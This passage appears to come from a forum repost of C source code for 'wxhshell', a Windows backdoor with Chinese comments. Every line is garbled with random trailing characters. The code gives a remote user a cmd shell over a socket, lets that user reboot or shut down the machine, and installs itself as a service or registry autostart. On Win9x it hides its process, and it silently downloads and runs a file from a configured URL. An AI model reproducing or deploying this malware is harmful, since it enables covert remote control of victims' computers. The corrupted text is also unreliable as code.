      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Bf21u 9  
    break; 8Q{"W"]O7  
  } ; ,vGw <|o  
  // 安装 ;u(#-C2^{l  
  case 'i': { .83{NF  
    if(Install()) Cr7T=&L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wV604eO(  
    else N4[`pXM6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gNWTzz<[f>  
    break; [%0{7pz}  
    } rN3qTp  
  // 卸载 g3Xa b  
  case 'r': { l.@v@T(/  
    if(Uninstall()) hf JeVT-/v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +HXR ))X  
    else 8 t)?$j$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @TQzF-%#7  
    break; K9HXy*y49  
    } 5LX%S.CW  
  // 显示 wxhshell 所在路径 !y$:}W?_  
  case 'p': { r6b;v2!8  
    char svExeFile[MAX_PATH]; cXd?48O  
    strcpy(svExeFile,"\n\r"); FxFRrRRH@  
      strcat(svExeFile,ExeFile); up@I,9C/  
        send(wsh,svExeFile,strlen(svExeFile),0); 8PB 8h  
    break; fi,h`mdT?  
    } 8v ZY+Q >  
  // 重启 4:I'zR5  
  case 'b': { ^pysoaZCT_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); svaclkT=  
    if(Boot(REBOOT)) *y0=sG1+D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R1/h<I:  
    else { $(r/N"6)O2  
    closesocket(wsh); V0/PjD,jP  
    ExitThread(0); T2dv!}7p  
    } lEYAq'=  
    break; L25v7U  
    } {@&%Bq*&  
  // 关机 xXRlQ|84  
  case 'd': { ng{ "W|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u)4eu,MBT  
    if(Boot(SHUTDOWN)) .N>Th/K8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vTl7x  
    else { r$cq2pkX  
    closesocket(wsh); 4G_At  
    ExitThread(0); 3FgTM(  
    } CX}==0od  
    break; $<s;YhM:u)  
    } J Q% D6b  
  // 获取shell 7C>5XyyJ  
  case 's': { h@{mcz  
    CmdShell(wsh); _)U.5f<   
    closesocket(wsh); $`&zIz  
    ExitThread(0); y2o~~te  
    break; A-&XgOL  
  } ^2a63_  
  // 退出 2X,`t%o  
  case 'x': { KNG7$icG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t) l  
    CloseIt(wsh); IZs NMY  
    break; T^DJ/uhd  
    } m#,AD,s  
  // 离开 \|YIuzlO4  
  case 'q': { :V!F~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p9-s'F|@i  
    closesocket(wsh); rQsYt/  
    WSACleanup(); eUVhNg  
    exit(1); 63fg l+  
    break; UGP,/[XI  
        } aCF=Og  
  } g2%fla7r  
  } KL\hV .6  
v+vM:At4  
  // 提示信息 ku5vaP(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sKwUY{u\M  
} [:(hqi!  
  } T&nIH[}v  
".7\>8A#a  
  return; 8)ykXx/f@  
} mlO\wn-F  
?`/DFI'_G  
// shell模块句柄 &e \UlM22  
int CmdShell(SOCKET sock) X.GK5Phd  
{ uZml.#@4  
STARTUPINFO si; phi9/tO\u  
ZeroMemory(&si,sizeof(si)); z'9U.v'M)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +`f3_Xd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <lgX=wx L  
PROCESS_INFORMATION ProcessInfo; yA]OX"T?*  
char cmdline[]="cmd"; s# V>+mU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /^sk y!  
  return 0; rHp2I6.0a  
} w2) @o >w  
0fog/c#q(  
// 自身启动模式 )dfwYS*[n  
int StartFromService(void) e0ULr!p  
{ Z</57w#-7  
typedef struct wE3fKG.  
{ LUzn7FZk  
  DWORD ExitStatus; 2GxkOch  
  DWORD PebBaseAddress; Z 5 Xis"j  
  DWORD AffinityMask; d:#z{V_  
  DWORD BasePriority; `t#9 yN  
  ULONG UniqueProcessId; E1D0 un  
  ULONG InheritedFromUniqueProcessId; /8wfI_P>M"  
}   PROCESS_BASIC_INFORMATION; uQYenCNXS  
?UV|m  
PROCNTQSIP NtQueryInformationProcess; b ;>?m  
ML.|\:r*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Nj{;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9~{,Hj1xE  
zG)vmysJf  
  HANDLE             hProcess; aen0XiB6~^  
  PROCESS_BASIC_INFORMATION pbi; n.=Zw2FE  
]oLyvG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  a"D'QqtH  
  if(NULL == hInst ) return 0; 8osP$"/o  
)%09j0y>l"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'Pe;Tp>`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); no(or5UJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s+E: 7T9P  
bT MgE Y  
  if (!NtQueryInformationProcess) return 0; 5KTPlqm0qF  
6[,7g&C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @77+K:9I 7  
  if(!hProcess) return 0; eig{~3  
g?N^9B,$2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t=fr`|!  
w!jY(WK U  
  CloseHandle(hProcess); PlR$s  
e5d STc`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {dYz|O<  
if(hProcess==NULL) return 0; $;rvKco)%  
W[:CCCDL  
HMODULE hMod; c{j)beaS  
char procName[255]; uann'ho?q  
unsigned long cbNeeded; s6k(K>Pl  
S1#5oy2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c8Nl$|B  
Nw '$r  
  CloseHandle(hProcess); Q^8/"aV\  
X>%li$9J.  
if(strstr(procName,"services")) return 1; // 以服务启动 TZhYgV  
*i {e$Zv'  
  return 0; // 注册表启动 e>x+Xj1  
} J7HY(7Nx  
pV O{7I  
// 主模块 Y+h ?HS  
int StartWxhshell(LPSTR lpCmdLine) f!F5d1N  
{ v]#[bqB.b  
  SOCKET wsl; i>KgkRZL#  
BOOL val=TRUE; P#}vi$dZ  
  int port=0; [#(',~lN7  
  struct sockaddr_in door; ux~=}{tz  
`Hqgahb{P  
  if(wscfg.ws_autoins) Install(); Wm4C(y@  
&Im-@rV!  
port=atoi(lpCmdLine); zt!7aVm n  
}tL]EW^  
if(port<=0) port=wscfg.ws_port; kN6 jX  
,H_d#Koa.  
  WSADATA data; ~])Q[/=p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;I*N%a TK  
MDBqIL]Hc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~~@dbB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _WZ{i,  
  door.sin_family = AF_INET; vSR5F9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mkq246<D~  
  door.sin_port = htons(port); mWU d-|Ul  
UOyM=#ipY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J%lrXm(l{  
closesocket(wsl); ^r,0aNzAs  
return 1; 97/ 4J  
} EQQ@nW{;  
xd\ml 37~  
  if(listen(wsl,2) == INVALID_SOCKET) { L)qUBp@MW  
closesocket(wsl); 1bjz :^  
return 1; CF:L#r  
} S f6%A  
  Wxhshell(wsl); z<%dWz  
  WSACleanup(); "ruYMSpU  
,~/WYw<o  
return 0; T[<554  
ilyF1=bp  
} ?_r{G7|D  
G7i0P j  
// 以NT服务方式启动 N)PkE>%X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9z`72(  
{ {y B0JL}n  
DWORD   status = 0; ]L2b|a3  
  DWORD   specificError = 0xfffffff; !MVf(y$  
x.$cP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ttls.~DG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wp83E,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Bw~jqDZ}|  
  serviceStatus.dwWin32ExitCode     = 0; L9oLdWa(C  
  serviceStatus.dwServiceSpecificExitCode = 0; %`~+^{Wp  
  serviceStatus.dwCheckPoint       = 0; x4h.WDT$  
  serviceStatus.dwWaitHint       = 0; Gqj(2.AY  
^j@+!A_.Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'u%vpvF  
  if (hServiceStatusHandle==0) return; vz)R84   
{Us^ 4Xe  
status = GetLastError(); NwdrJw9  
  if (status!=NO_ERROR) >I-rsw2  
{ &3J^z7kU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {jv+ J L"5  
    serviceStatus.dwCheckPoint       = 0; ohs`[U=%~  
    serviceStatus.dwWaitHint       = 0; B`||4*  
    serviceStatus.dwWin32ExitCode     = status; `+0dz,  
    serviceStatus.dwServiceSpecificExitCode = specificError; Kz z/]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |Qcj +HH.  
    return; UFLx'VX d  
  } `PUxR8y  
s}-j.jzB{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $j8CF3d.6  
  serviceStatus.dwCheckPoint       = 0; fP6\Ur  
  serviceStatus.dwWaitHint       = 0; =M}tet }  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); It<VjN9  
} bxzx@sF2l  
=>kg]  
// 处理NT服务事件,比如:启动、停止 4GH&u,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6(x53 y__  
{  ?!<Q8=  
switch(fdwControl) 7yXJ\(6R_  
{ lMG+,?<uK&  
case SERVICE_CONTROL_STOP: 1GIBqs~-  
  serviceStatus.dwWin32ExitCode = 0; X&h?1lMJ /  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PVIZ Y^64  
  serviceStatus.dwCheckPoint   = 0; q[+ h ~)  
  serviceStatus.dwWaitHint     = 0; 5%4yUd#b  
  { ,CN (;z)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m`):= ^nC  
  } .5AFAGv_c  
  return; d`C$vj  
case SERVICE_CONTROL_PAUSE: NFP h}D  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R*D5n>~  
  break; gK(G1  
case SERVICE_CONTROL_CONTINUE: U|{4=[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1B:5O*I!J  
  break; :R3iLy  
case SERVICE_CONTROL_INTERROGATE: *B \ @L  
  break; 6!?] (  
}; Ekik_!aB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fJ0V|o  
} P;K LN9/4  
CrSBN~  
// 标准应用程序主函数 N-t"CBTO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iz)r.TJ  
{ ]N;n q  
mq:WBSsV  
// 获取操作系统版本 US=K}B=g  
OsIsNt=GetOsVer(); )Vrp<"v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ` AD}6O+x  
edCVIY'1  
  // 从命令行安装 %IE;'aa }  
  if(strpbrk(lpCmdLine,"iI")) Install(); mXS"nd30bD  
R'6(eA[K  
  // 下载执行文件 Ihr[44#  
if(wscfg.ws_downexe) { |z"$^|@d?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [b&V^41W  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4mKH |\g  
} SSTn |  
*M*WjEOA  
if(!OsIsNt) { xWqV~NnE  
// 如果时win9x,隐藏进程并且设置为注册表启动 :475FPy]  
HideProc(); k Jw Pd;%  
StartWxhshell(lpCmdLine); Aqz $WTHW+  
} $}0!dR2  
else 2y|n!p T  
  if(StartFromService()) $Ff6nc=  
  // 以服务方式启动 T31F8K3x  
  StartServiceCtrlDispatcher(DispatchTable); a7uL {*ZR  
else jIwN,H1$-  
  // 普通方式启动 ){z#Y#]dP  
  StartWxhshell(lpCmdLine); tw =A] a*  
8SL E*c^8  
return 0; n*' :,m  
}
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只看该作者 1 发表于: 2006-10-10
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